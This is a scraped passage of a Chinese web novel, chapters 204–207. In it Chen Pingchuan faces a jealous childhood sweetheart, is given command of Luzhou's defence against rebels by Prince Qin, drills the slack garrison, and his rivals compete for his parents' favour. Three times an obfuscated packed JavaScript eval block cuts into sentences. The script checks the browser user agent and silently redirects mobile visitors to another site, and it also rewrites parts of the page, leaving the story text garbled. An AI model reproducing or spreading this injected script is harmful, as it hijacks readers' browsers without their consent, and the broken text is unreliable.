她的目光,像刀子一样,刮过站在一旁,端着茶盘,有些不知所措的张若素。 “这位姐姐,是哪家的大家闺秀啊?” “怎么会屈尊降贵,跟着你,到我们这穷乡僻壤来?” “是来体验生活吗?” 她话里,“姐姐”这两个词,被她咬得特别重,充满了尖锐的讽刺。 院子里的气氛,瞬间降到了冰点。 罗氏夫妇,张盛财,陈平川,所有人都感觉到了一股“紧张”的气息,在空气中弥漫。 完了! 这是罗氏和陈平川,共同的心声。 这丫头,果然炸了! “静姝,你别误会,事情不是你想的那样。” 陈平川头皮发麻,连忙开口,想要解释。 然而,他还没来得及往下说。 一旁的张若素,却已经善解人意地,先开了口。 她不想让陈平川为难。 她对着张静姝,露出了一个温和而又友善的笑容,声音轻柔。 “静姝妹妹,你好。” “我叫张若素,是平川的……” 她本想说,自己只是平川的朋友,不是她所想的那种关系。 可她的话,才刚刚说了一半。 “闭嘴!” 张静姝却像是被踩了尾巴的好的猫一样,猛地,尖叫了起来! 她通红着眼睛,愤怒地瞪着张若素,用尽全身力气,嘶吼道。 “谁是你妹妹!” “我告诉你,我担待不起!” 这一声嘶吼,充满了委屈,愤怒,和一种,被侵犯了领地的,歇斯底里的疯狂。 自己在这里,掰着手指头,一天一天地,数着他回来的日子。 结果,他却从外面,带回来一个女人! 张若素被张静姝吼得,愣在了原地。 她那张温婉美丽的脸上,血色尽褪,一片苍白。 她从小到大,饱读诗书,是人人称赞的大家闺秀,何曾受过,如此当面的羞辱? 她的手,微微颤抖着,茫然无措。 张静姝的胸口,剧烈地起伏着。 她的眼泪,再也控制不住,像断了线的珠子一样,滚滚而下。 但她没有去擦。 她就那么,带着满脸的泪水,死死瞪着陈平川。 “陈平川!我恨你!” 她猛地一跺脚,毅然决然地转过身,就往院子外面跑去! “静姝!” 陈平川心中一急,下意识地喊出了声,想要去追。 结果跑出门,张静姝已经不见了。 张盛财这个没心没肺的胖子,看看这个,又看看那个,还一头雾水地挠着头。 “哎?这……这是咋了?” “我闺女,这是受啥委屈了?” “谁惹她了?” 张金宝长长地,叹了一口气。 他走到陈平川面前,对着他一个劲地摇头,那眼神仿佛在说:你看吧,我就知道会这样。 “大哥,这事你自己看着办吧。” 说完,他急匆匆地跑了出去追妹妹。 罗氏也狠狠地瞪了自己那傻儿子一眼,眼神里满是“恨铁不成钢”的意味。 然后,她对张盛财赔着笑脸道。 “老哥,你别担心,我去看看静姝那孩子!” 说着,也提着裙子,追了出去。 张盛财看看这个,又看看那个,胖脸上满是茫然,他到现在还没搞清楚状况。 陈仲和这个老实人,更是手足无措,搓着手,不知道该说些什么。 最终,是张若素打破了这令人窒息的沉默。 她端着那个几乎从手中滑落的茶盘,脸色苍白得像纸一样,走到陈平川面前,深深地低下头。 “对不起,平川。” 她的声音很轻,带着浓浓的歉疚和自责。 “都……都怪我。” “是我,给你添麻烦了。” 她心里难受极了。 她知道张静姝对陈平川的情意,也知道自己此刻的出现,对那个女孩来说是多么沉重的打击。 可她又能怎么办呢? 从顺城回到京城,再从京城来到这庐州府,她早已将自己的心,将自己的未来,都系在了这个男人身上。 让她离开,她做不到。 陈平川看着她这副模样,心中叹了口气。 他摇了摇头,伸手从她那微微颤抖的手中,接过了那个沉甸甸的茶盘,稳稳地放在院子里的石桌上。 “不关你的事。” 他的声音很平静,带着一种安抚人心的力量。 “这是我自己的问题,跟你无关,静姝她会没事的。” 嘴上这么说,其实陈平川也一个头两个大。 一边是救命之恩,是红颜知己,是共患难的战友。 一边是从小一起长大,青梅竹马,早已被家人认定的“准儿媳”。 这笔账,怎么算,都是一团乱麻。 “哎呀!我说平川啊!” 就在这时,一直状况外的张盛财,总算是回过神来了。 不过,他关注的点,显然和别人完全不在一个频道上。 他一拍大腿,那张胖脸瞬间从迷茫切换到了生意人特有的精明和兴奋。 他三步并作两步凑到陈平川跟前,唾沫星子横飞。 “你可不知道啊,你走了之后,咱们那个《西游记》的连环画,现在卖得有多疯!” “我跟你说,不止是咱们庐州府,就连京城那边,都有人专门坐着马车跑过来,出高价求购!” “我手里的存货,早就卖光了!现在每天印书坊门口都堵着一堆人,等着要新货呢!” “平川啊,你回来可太好了,赶紧把剩下的故事都画完吧!” 张盛财越说越激动,一把抓住陈平川的胳膊,眼睛里闪烁着的全是银子的光芒。 “另外我琢磨着,光卖书,格局还是小了点。咱们得搞点新花样!” “你看看,咱们是不是可以,出点周边的玩意儿?” “什么叫周边?”陈平玉在一旁听得一愣一愣的。 “嗨!就是跟书里有关系的东西!”张盛财解释道,“比如,那孙悟空的金箍棒,咱们用木头做成小根的,卖给那些小屁孩当玩具耍!” “还有那猪八戒的大耳朵,还有猴子的脸,咱们做成面具!” “逢年过节的时候,小孩子们戴着满街跑,多喜庆!这玩意儿肯定能大卖!” 他滔滔不绝地,讲着自己的商业构想,暂时,冲淡了院子里那尴尬至极的气氛。 陈平川听着,也是哭笑不得。 这张胖子,真是个商业奇才,满脑子都是怎么赚钱。 连“周边产品”和“IP衍生”这个概念,都让他无师自通了。 就在这时。 “哒哒哒——” 院门外,忽然传来一阵急促的马蹄声,由远及近,最后停在了陈家门口。 紧接着,一名身穿王府侍卫服饰的骑士,翻身下马,龙行虎步地走进了院子。 那骑士目光如电,在院子里扫视了一圈,当看到陈平川时,眼神明显一亮。 他快步上前,从怀中掏出了一份制作精美的鎏金请柬,双手恭恭敬敬地奉上。 “陈公子!” 侍卫的声音洪亮而有力。 “我家王爷请您明日务必到府上一叙!” 第204章 天降大任,全城请我出山! 秦王府的请柬! 这一下,所有人都愣住了。 陈平川神色如常,伸手接过请柬,打开看了一眼,然后对那侍卫点了点头。 “请回禀王爷,平川明日一定准时到访。” “是!”侍卫干脆利落地应了一声,行了个礼,转身便离开了。 张盛财的眼珠子转了转,嘿嘿一笑, “平川这刚回来,明天还要见王爷,我就不打扰了!” 他对着陈仲和挤了挤眼睛:“亲家,改天我再来找你喝酒!咱们好好聊聊孩子们的婚事!” 说话间,人已经出了院子。 陈平川看着手中的请柬,眉头微微皱起。 秦王这个时候找他,绝不可能是简单的叙旧。 恐怕,是庐州府出了什么大事。 他转头看向张若素,见她依然低着头,一副心事重重的样子,便开口道。 “若素,今天的事,你别放在心上。” “静姝她就是那个脾气,从小被惯坏了,没什么恶意的。” 张若素抬起头,勉强笑了笑。 “我明白。” 她怎么会不明白。 那不是没有恶意,而是属于一个女孩子的占有欲和危机感。 “你……明天要去见秦王,还是早些休息吧。”她轻声说道,“我也……回房了。” 说完,她便转身走进了屋子,背影显得有些落寞。 陈平川看着她的背影,又看了看手里的请柬,心中一阵无奈。 家事,国事,天下事。 怎么一回来,就全都搅和到一块儿了。 这日子,怕是清静不了了。 …… 第二天一早,陈平川辞别了父母,独自一人前往秦王府。 递上请柬,立刻便有管家模样的人,恭恭敬敬地将他迎了进去。 穿过几重庭院,来到一处宽敞的正厅。 陈平川一脚踏入,便感觉到了一股不同寻常的凝重气氛。 只见大厅之内,除了上首位坐着的秦王之外,两侧还坐着七八名身穿官袍的官员。 庐州知府、庐州通判、掌管兵马的指挥使……几乎所有庐州府有头有脸的文武大员,此刻都聚集于此。 而且,每一个人的脸上,都带着一股挥之不去的凝重和忧虑。 看到陈平川进来,所有人的目光,都齐刷刷地投了过来。 有好奇,有审视,也有几分期待。 “平川,你来了。” 上首的秦王站起身,对着陈平川招了招手,“快,过来坐。” “见过王爷,见过各位大人。” 陈平川不卑不亢地行了一礼,然后在秦王下首的位置坐了下来。 他心中已经了然,这么大的阵仗,必然是出了天大的事情。 “不必多礼了。”秦王摆了摆手,眼神中带着一丝歉意。 “你离京之后,本王又在京城逗留数日,回来后便听说你迟迟未到庐州,本王就知道,你途中必遭了梁越那奸贼的毒手。” “只是当时,天公道事起,本王实在无法分兵出城寻你,这些日子,本王是寝食难安,生怕……生怕听到什么不好的消息。” “幸好,你吉人天相,安然无恙地回来了。” 陈平川心中一暖。 他知道,秦王是真的在关心自己。 “多谢王爷挂念,途中确实遇到了一些麻烦,不过都解决了。”他轻描淡写地说道。 “嗯。”秦王点了点头,他知道陈平川不想多说,便没有追问,说回正题。 “平川,实不相瞒,本王这次急着找你来,是因为庐州府,乃至整个江淮之地,都将面临一场天大的浩劫!” 秦王声音低沉,表情严峻。 “王爷,可是……天公道?”陈平川直接问道。 能让秦王如此兴师动众的,除了最近活动猖獗的天公道,他想不到第二个。 秦王点了点头。 “没错,正是天公道!” 他叹了口气,脸上的忧色更重了。 “此教派以你所著的《安民论》为旗号,曲解其意,蛊惑人心。其首领自称‘天公将军’,打着‘等贵贱,均贫富’的口号,在短短数月之内,便席卷了青州、御州数地,攻破县城,屠戮官吏,焚烧府衙,无恶不作!” “流民饥民,闻风而附,如今已聚众数十万,声势浩大,官军几次围剿,都以惨败告终。” “而就在半个月前,这股流寇的主力,已经流窜到我庐州境内,本王得到线报,他们正在暗中勾结附近的山贼劫匪,意图壮大声势,攻打庐州府城!” 陈平川早已从凤三娘哪里知道了这些事前,所以并不惊讶,只是微微点头,询问道:“王爷,可否请朝廷派兵增援?” 此话一出,大厅内的其他官员,个个面如死灰。 庐州知府开口道:“天公道贼寇势大,如今朝廷主力皆在各处围剿起义军,根本无力南下增援。我庐州府城防虽固,但守军不过区区数千,且多年未经战事,一旦贼寇大军压境,恐怕……恐怕危在旦夕啊!” “是啊,贼寇所过之处,鸡犬不留,若是庐州城破,我等万死莫辞,可这城中百万生民,又该何去何从啊!” 一众官员纷纷开口,言语之间,充满了绝望。 秦王抬手,示意众人安静。 他站起身,走到大厅中央,目光扫过在场的每一个人。 “诸位,如今的天下,是何等光景,想必你们心中都有数。” “北方,蛮族铁骑虎视眈眈,随时可能南下。” “东南沿海,倭寇海盗侵扰不休,百姓不得安宁。” “朝堂之上,梁党把持朝政,蒙蔽圣听,忠良受戮,奸佞当道!” “而今,又有天公道这等心腹大患,在我大业朝的腹心之地兴风作浪,动摇国本!” 秦王的声音,充满了悲愤和无奈。 “国库空虚,朝廷早已是焦头烂额,顾此失彼。指望朝廷派兵,已是绝无可能!” “也就是说,这庐州城,我们只能靠自己来守!” “守不住,便是城破人亡,血流成河!” 一番话,说得整个大厅,如坠冰窟。 所有人的脸上,都写满了绝望。 靠自己? 怎么靠? 拿什么去跟那数万如狼似虎的贼寇斗? 就在这片死寂之中,秦王猛地转过身,目光灼灼地,盯住了陈平川。 “所以,本王今日请诸位来,是想当众宣布一件事。” 他的声音,陡然拔高,掷地有声。 “本王要请,前忠勇侯,顺城之战的力挽狂澜者,我大业朝的‘战神’——陈平川!” “出山,助我等守卫庐州!” 话音落下,秦王对着陈平川,深深地,一揖到底。 “平川,庐州这百万生民的性命,就拜托你了!” 第205章 临危受命掌兵符,巧言立誓拒婚 秦王此言一出,满堂皆惊! 所有官员都用一种震惊的目光看着秦王,又看看那个坐在那里,同样惊讶的少年。 请一个被罢官夺爵的庶民,来主持庐州防务? 这……这简直是闻所未闻! “王爷,万万不可啊!” 一名看起来有些年纪的官员立刻站了出来,他是庐州府的通判,主管钱粮,为人向来谨慎。 “陈公子虽然才华横溢,但毕竟已被罢官,如今只是一介白身。让他来主持军政大事,恐怕……于理不合啊!朝廷那边也不会认可,只怕还会降罪下来!” “是啊王爷,”另一名武将也跟着说道,“军国大事,岂同儿戏?陈公子从未在庐州任职,对城中军务一无所知,贸然将指挥权交予他,若是出了差错,后果不堪设想!” 反对的声音,此起彼伏。 倒不是他们对陈平川有意见,而是这件事,实在太过匪夷所思,不符合规矩。 陈平川没有说话,他已经从惊讶中平静下来,望着秦王,想看对方怎么说。 秦王直起身子,冷冷地扫了那些反对的官员一眼。 “于理不合?” 他冷笑一声。 “规矩是死的,人是活的!如今大敌当前,马上就要城破人亡了,你们还在这里跟本王讲规矩?” “你们谁有本事,能退了城外那数万贼寇?谁有?站出来给本王看看!” 秦王声色俱厉,一番话,问得那些官员是面红耳赤,哑口无言。 是啊,他们谁都没这个本事。 就在这时,庐州知府站了出来。 他对着秦王,又对着陈平川,深深一揖。 “王爷所言极是。” 知府抬起头,目光诚恳地看着陈平川。 “下官虽未曾与陈公子谋面,但忠勇侯在顺城的事迹,早已传遍天下。以千人破蛮族五万铁骑,此等战功,堪称旷古烁今!” “更重要的是,陈公子不畏强权,为民**,最终却遭奸人所害,被罢官还乡。我等读书人,虽身在乡野,却也知晓忠奸善恶!” “下官相信,陈公子绝非浪得虚名之辈!” 说着,他再次躬身。 “若陈公子肯出山,下官愿听从调遣,绝无二话!” 知府这番话,掷地有声。 在场的官员们,都是心头一震。 他们很多人,当初都曾为陈平川的遭遇而扼腕叹息。 如今,这位传说中的人物就站在面前,他们心中的那份敬意,也油然而生。 而且,眼下确实也没有更好的办法。 “我等,愿听陈公子调遣!” “恳请陈公子,为我庐州百万生民,接下重任!” 一时间,大厅之内,附和之声四起。 陈平川看着眼前这一幕,心中也是颇为感动。 其实,就算众人反对,他也会争取,毕竟,他的亲人朋友也在这座城里,他不想看到他们惨遭毒手。 不过,有些事情必须说在前头,否则日后掣肘,寸步难行。 站起身,陈平川对着众人回了一礼。 然后,他看向秦王,神色变得无比严肃。 “王爷,各位大人。” “承蒙错爱,平川愧不敢当。” “守城之事,平川可以答应。但我有一个条件。” 秦王目光一凝:“你说。” 陈平川环视众人,沉声说道。 “从即刻起,庐州城内所有军政防务,必须由我一人决断!” “任何人,不得以任何理由,干涉我的命令!” “我需要,绝对的指挥权!” 此言一出,刚刚还热血沸腾的官员们,瞬间又冷静了下来。 这权力,也太大了吧! 这等于是,将整个庐州府的身家性命,全都压在了他一个人的身上! 所有人的目光,又都集中在了秦王的身上。 只见秦王盯着陈平川,看了足足有三息的时间。 然后,他忽然笑了。 “好!” 一个字,干脆利落。 “本王允了!” “自今日起,庐州防务,你陈平川说了算!任何人敢阳奉阴违,本王,斩了他!” 秦王的话,带着一股不容置疑的霸气,也彻底堵住了所有人的嘴。 庐州府是他的封地,相当于土皇帝,拥有绝对的权利,无人敢违逆。 于是,事情就这么定了下来。 秦王将代表自己权力的令牌交给陈平川,见此令,如见秦王亲临。 随后,秦王让官员们先行散去,各自准备,只留下了陈平川一个人。 等到所有人都走了,秦王脸上的威严和霸气,瞬间消失不见,取而代之的,是一副笑眯眯的,像狐狸一样的表情。 “平川啊。” 他亲**走过来,拍了拍陈平川的肩膀。 “公事谈完了,咱们……是不是该谈谈私事了?” 陈平川心里咯噔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046765|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下。 来了。 他就知道,没这么简单。 “王爷,您指的是……”他开始装傻。 “你小子,还跟本王装糊涂?”秦王眼睛一瞪,“当然是你和昭华的婚事!” “你当初可是亲口答应的,考上状元,便与我王府结亲。怎么,现在做了侯爷,现在就想不认账了?” 陈平川头皮发麻。 一个张静姝,一个张若素,已经让他焦头烂额了。 现在又来一个昭华郡主。 这要是让张静姝知道了,怕又要醋海翻波。 他眼睛一转,连忙拱手,一脸的“大义凛然”。 “王爷,您误会了。只是如今国难当头,贼寇兵临城下,平川实在是……何以为家啊!” “大丈夫,当先国后家!儿女私情,只能暂且放在一边了。” “少来这套!”秦王根本不吃他这一套,“本王不管什么国难当头,就问你一句,这亲,你结还是不结?” 秦王步步紧逼,眼神变得有些危险。 “莫非,你是觉得,本王的女儿,配不上你这个……被罢官的庶民?” 这话,说得就有些重了。 强大的压力,扑面而来。 陈平川知道,今天不给个准话,是过不了关了。 他心一横,索性把话说绝。 他猛地单膝跪地,声如洪钟。 “王爷!” “平川在此立誓!” “天公道一日不破,平川此生,绝不成家!” “请王爷成全!” 这一下,把秦王给整不会了。 他看着跪在地上的陈平川,那张英俊的脸上,写满了“为国为民,鞠躬尽瘁”的悲壮。 这…… 这让他怎么接? 他总不能说,守城退敌不重要,你先给我当女婿吧? 秦王张了张嘴,半天,才憋出一句话来。 “你……你这个臭小子!” 他指着陈平川,是又好气,又好笑,还有那么一丝丝的欣赏。 “行了行了,起来吧!” “先以大局为重,守住庐州,击退天公道,娶亲之事可以再议。” “不过,你给本王记住了,昭华,你娶也得娶,不娶也得娶!” 说完,他没好气地一甩袖子,转身走了。 留下陈平川一个人,在原地长长地松了一口气。 总算是,又拖过去了。 接下来,他要全力以赴对付天公道这个强敌! 第206章 不服?那就打到你服为止! 离开王府,陈平川没有回家,而是直接去了庐州府的城防军营。 既然接下了这个担子,他就必须在最短的时间内,掌握庐州城的全部防卫力量。 庐州城的守军,名义上有三千人。 当陈平川在城防指挥使,一个名叫李威的中年武将的陪同下,来到军营校场时,看到眼前的景象,他的眉头,瞬间就拧成了一个疙瘩。 只见偌大的校场上,东一堆,西一撮,站着些歪歪扭扭的士兵。 有的在三五成群地吹牛打屁。 有的干脆靠在墙角晒太阳,打着哈欠。 还有的,竟然聚在一起,正在赌钱! 军容不整,纪律涣散。 这哪里是什么军队? 分明就是一群地痞流氓! “集合!” 陪同的指挥使李威,扯着嗓子吼了一声。 校场上的士兵们,懒洋洋地抬起头,看了这边一眼,然后慢吞吞地,开始往这边挪动。 过了足足一炷香的时间,这几百号人才算是勉强站成了一个歪歪扭扭的队列。 一个个站没站相,吊儿郎当。 李威的脸上有些挂不住,他尴尬地对陈平川笑了笑。 “陈……陈公子,您别见怪。兄弟们平时散漫惯了,这……这都是些**病了。” 陈平川面无表情,没有理会他。 他的目光,如同刀子一般,从队列中每一个士兵的脸上扫过。 “指挥使大人。”他冷冷地开口。 “在,在!”李威连忙应道。 “我问你,军营之中,聚众**,按军法,该当何罪?” 李威心头一跳,额头上冒出了一层细汗。 “按……按军法,当……当杖责二十,罚没所有赌资。” “好。”陈平川点了点头。 他指着那几个刚刚还在赌钱的士兵。 “把他们几个,拖出来!” “是!” 立刻有几名亲兵上前,将那几个还在嬉皮笑脸的赌徒,给揪了出来。 “按军法,执行!”陈平川的声音,不带一丝感情。 “啊?!” 那几个士兵一下子就慌了。 “凭什么打我们?我们不服!” “就是!你算老几啊?一个毛头小子,也敢管我们?” 陈平川没穿官服,一身便装,这些士兵压根就没把他放在眼里。 李威也有些为难,凑到陈平川身边,小声说道:“陈公子,要不……算了吧?都是些老兵油子了,教训一下就行了,真打了,怕其他人不服,以后不好管啊。” “不好管?” 陈平川冷笑一声。 “那就打到他们好管为止!” 他猛地从旁边亲兵的腰间,抽出了一把佩刀! “锵”的一声,雪亮的刀光,晃得所有人眼睛一花。 “本人陈平川,曾任顺城知州,击退蛮族五万精锐!自今日起,接管庐州城一切防务!” “有秦王令在此,如王亲临!谁敢不从,执行军法!” 他高高举起一块黑色令牌,令牌上,一个龙飞凤舞的‘秦’字,在阳光下闪着寒光。 “本官的刀,很久没见血了!” 他的声音,冰冷刺骨,眼神更是充满了骇人的杀气。 那是在顺城尸山血海中,磨炼出来的真正杀气! 整个校场,瞬间鸦雀无声。 所有士兵,都被他这股气势给镇住了。 他们这才意识到,眼前这个少年,不是什么善茬! 那几个赌钱的士兵,更是吓得两腿发软,瘫在了地上。 “打!” 李威不敢再犹豫,咬着牙下令。 “啪!啪!啪!” 军棍结结实实地,打在了那几个士兵的屁股上。 惨叫声,立刻响彻了整个校场。 杀鸡儆猴! 陈平川要的,就是这个效果。 他要让所有人都知道,从今天起,他陈平川,才是这里的老大! 打完之后,他看着下面那些噤若寒蝉的士兵,冷冷地说道: “从今天起,我给你们立下几个新规矩。” “第一,卯时起床,戌时熄灯,任何人不得迟到早退!” “第二,每日进行两个时辰的队列和体能训练,所有人必须参加!” “第三,我将设立‘军事简报’制度,每日早晚,通报敌情与防务重点,所有军官必须到场!” “第四,所有城防、军械,重新登记造册,严加管理,任何人不得私藏挪用!” “以上四条,但有违反者,轻则杖责,重则……斩!” 最后一个“斩”字,他说得是斩钉截铁,杀气腾腾。 所有人都心头一凛。 他们知道,这个新来的长官,是来真的了。 庐州城守军的好日子,到头了。 接下来的一整天,陈平川几乎都泡在了军营里。 他仿照现代军队的模式,对这些散漫惯了的士兵,进行了堪称魔鬼式的训练。 站军姿,踢正步,越野跑…… 一天下来,哀嚎遍野。 那些老兵油子们,一个个累得像死狗一样,躺在地上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046766|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连动一根手指头的力气都没有了。 他们心里把陈平川的祖宗十八代都骂遍了。 但是,没人敢反抗。 因为他们看到,陈平川自始至终,都和他们一起在训练场上。 他跑得比谁都快,站得比谁都直。 这种以身作则的强大执行力,让所有人都无话可说。 傍晚时分,陈平川又召集了所有百户以上的军官,召开了第一次“军事简报”会议。 他在一张巨大的庐州府地图上,清晰地标明了天公道贼寇的进军路线,分析了敌我双方的优劣势,并且布置下了未来几天的防务重点。 条理清晰,逻辑严密,目光长远。 那些原本还有些不服气的武将们,听完之后,一个个都是目瞪口呆,心中充满了震撼。 他们这才明白,什么叫“运筹帷幄”。 这位年轻人肚子里,是真的有货! 一场会议下来,所有人,都对陈平川,彻底服气了。 而整个军营的风气也焕然一新,虽然比不上顺城的“陈家军”,但也算是有了几分军旅的样子。 …… 张家。 张静姝把自己关在房间里,哭了一整天。 眼睛肿得像桃子一样。 张金宝在门外急得团团转,怎么劝都没用。 “妹啊,你开开门啊!你别吓唬哥啊!” “你再不开门,我可就要让爹把人门砸开了!” “滚!” 房间里,传来张静姝带着浓重鼻音的怒吼。 张金宝缩了缩脖子,不敢再多嘴。 到了晚饭时分,房门终于“吱呀”一声,打开了。 张静姝顶着一双红肿的眼睛,面无表情地走了出来。 张盛财和张金宝看到她这副模样,都是心疼不已。 “闺女,你……你没事吧?”张盛财小心翼翼地问道。 孙氏也担忧地看着自己女儿,却不知道怎么劝说。 张静姝没有理众人,径直走到饭桌前坐下,拿起筷子,就开始往嘴里扒饭。 她吃得很快,像是要把所有的委屈和愤怒,都随着饭菜,一起咽进肚子里。 众人面面相觑,都看着她。 吃完饭,张静姝放下碗筷,擦了擦嘴。 她抬起头,看向自己的哥哥张金宝,眼神平静得可怕。 “哥。” “啊?妹,咋了?”张金宝连忙应道。 “你跟我说实话。”张静姝的声音冰冷,“那个女人,到底是什么来头?” “她跟陈平川,到底是怎么回事?” 第207章 张静姝的曲线救国之路 张金宝犹豫了一下,看着妹妹那要**的眼神,最终还是叹了口气,把当初在断魂峡外,陈平川跟他说的那些话,原原本本地,又给张静姝讲了一遍。 从兰亭诗会,到《安民论》。 从顺城同舟共济,到冒死护送万民**。 他讲得很详细。 他本以为,妹妹听完之后,会更加伤心,或者会大发雷霆。 然而,张静姝的反应,却出乎了他的意料。 她静静地听着,脸上没有任何表情。 既没有哭,也没有闹。 等到张金宝说完,她只是轻轻地点了点头。 “哦,我知道了。” 说完,她站起身,就回自己房间了。 “这就完了?”张金宝一脸懵逼。 这反应,不对劲啊! 太不正常了! 按照他对自己妹妹的了解,她不应该是一哭二闹三上吊,或者直接杀到陈家,把那个姓张的女人给赶出去吗? 这葫芦里到底卖的什么药? 第二天一大早,张静姝就起了床。 她破天荒地,没有睡懒觉。 而且,还把自己梳洗打扮得漂漂亮亮。 她走到正在院子里唉声叹气的张盛财面前。 “爹。” “哎,闺女,啥事?” “给我点钱。”张静姝伸出了手。 “要钱干嘛?”张盛财一愣。 “你别管,给我就是了。” 张盛财虽然疑惑,但还是从怀里掏出了一大把银票,塞给了她。 “够不够?不够爹再给你拿。” “够了。” 张静姝接过银票,转身就出了门。 她没有去陈家。 而是直接去了庐州城里,最大的一家药材铺。 “掌柜的,把你们店里,最好,最名贵的补品,都给我来一份!” “人参,鹿茸,燕窝,阿胶,有多少要多少!” 她将一把银票,重重地拍在了柜台上。 那豪气的样子,把掌柜的都给看呆了。 …… 陈家。 罗氏正在院子里洗衣服,心里还在为昨天的事情发愁。 她不知道该怎么去跟张家交代。 就在这时,院门被推开了。 “伯母!” 一道清脆甜美的声音传来。 罗氏一抬头,就看到了满脸笑容,提着大包小包的张静姝。 “哎哟,静姝啊,你……你怎么来了?”罗氏又惊又喜,连忙在围裙上擦了擦手,迎了上去。 “我来看看您和伯父呀。” 张静姝笑得那叫一个甜,仿佛昨天那个哭得死去活来的人,根本就不是她一样。 “伯母,您看您,天天操劳家务,手都变粗糙了。” 她不由分说,就从罗氏手里,接过了还没洗完的衣服。 “这些粗活,以后都让我来干就行了!您就好好歇着!” “这……这怎么行呢?”罗氏连忙推辞。 “怎么不行了?”张静姝嘴巴一撅,开始撒娇,“您要是不让**,就是不把我当自家人看!” 一句话,说得罗氏心里是热乎乎的。 “好好好,你这孩子。” 张静姝麻利地洗完衣服,又把整个院子,都打扫得干干净净。 然后,她献宝似的,将自己买来的那些名贵补品,一样一样地,摆在了罗氏的面前。 “伯母,这是我特意给您和伯父买的。” “您看您和伯父,年纪也大了,得好好补补身子才行。” “这……这太贵重了!我们不能要!”罗氏一看那些东西,吓了一跳。 “您必须得要!”张静姝的态度,异常坚决,“您要是不收,我今天就长在您家不走了!” 软磨硬泡,连哄带骗。 最终,罗氏还是拗不过她,半推半就地,收下了那些补品。 张静姝还不算完。 她亲自下厨,用那些补品,给罗氏和陈仲和,熬了一锅香喷喷的鸡汤。 她守在药炉子前,小心翼翼地控制着火候。 那认真的模样,让罗氏看得是越看越喜欢。 等到鸡汤熬好,她又亲手盛了两碗,一勺一勺地,喂到罗氏和陈仲和的嘴里。 “伯母,您尝尝,味道怎么样?” “伯父,小心烫。” 那叫一个嘘寒问暖,体贴入微。 比亲闺女陈平玉,还要亲! 罗氏被她哄得是心花怒放,早就把昨天那点不愉快,忘到九霄云外去了。 张静姝心里,却是冷笑一声。 不就是共患难,救过命吗? 那又怎么样? 感情,是可以培养的。 人心,是可以收买的。 尤其是“婆婆”的心。 她就不信了,自己这个青梅竹马,还斗不过那个远道而来的大家闺秀! …… 张若素推开房门,看到院子里的情景时,整个人都愣住了。 只见张静姝正亲**挽着罗氏的胳膊,两人有说有笑,那气氛,融洽得就像是一对亲生母女。 石桌上,还摆着一锅热气腾腾的鸡汤,香气四溢。 而罗氏的脸上,是那种发自内心的喜爱和满足。 看到张若素出来,罗氏脸上的笑容收敛了一些,但依旧很热情。 “若素啊,起来了?快来,尝尝静姝这孩子熬的鸡汤,可香了!” 张静姝也转过头,对着张若素露出了一个堪称“和善”的笑容。 “若素姐姐,你一路奔波,肯定累坏了,快喝碗汤补补身子。” 她的声音甜甜的,听起来真诚无比。 但张若素却从她那双看似无害的眼睛深处,捕捉到一丝一闪而过的,挑衅和得意。 张若素不是傻子。 她瞬间就明白了张静姝的意图。 这个女孩放弃了正面冲突,选择了另一条道路——从陈平川父母下手。 “谢谢。” 张若素接过张静姝递过来的鸡汤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046767|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻声说了一句。 汤很香,很浓。 但喝在嘴里,却感觉五味杂陈。 接下来的几天,张静姝就像是在陈家扎了根一样。 每天准时报到,主动包揽陈家所有的家务活。 洗衣,做饭,打扫,喂鸡……什么活都抢着干,虽然有很多事情她没做过,也做的不好。 但她特别会说话,总能把罗氏和陈仲和哄得开开心心。 今天,给罗氏捶捶背。 明天,给陈仲和讲讲城里的新鲜事。 后天,给陈平玉带来一些新奇好玩的小玩意儿。 整个陈家小院,因为她的存在,充满了欢声笑语。 罗氏对她是越来越满意,看她的眼神,简直就像是在看自家儿媳妇。 相比之下,张若素就显得……格格不入。 她也想帮忙。 她也想融入这个家庭。 可是,她出身名门,从小到大,只知道琴棋书画,吟诗作对。 但让她干这些家务活,她真的是……一窍不通。 她试着去帮忙干活,张静姝总是会第一时间,笑意盈盈地走过来。 “哎呀,若素姐姐,这种粗活怎么能让你来干呢?快歇着吧,放着我来就行!” 她的话,说得客气又体贴。 但落在张若素的耳朵里,却是辛辣的讽刺。 她感觉自己就像一个多余的,笨手笨脚的客人。 而张静姝,才是这个家真正的女主人。 这种感觉,让张若素备受煎熬。 这天晚上,张若素辗转反侧,难以入眠。 她不知道自己该怎么办。 是该就此认输,默默离开? 还是……该为自己的感情,去争一争? 可要怎么争? 学着张静姝那样,去讨好,去撒娇吗? 她做不到。 她的骄傲,她的出身,她的教养,都不允许她那么做。 就在她心乱如麻的时候。 “咚!咚!咚!” 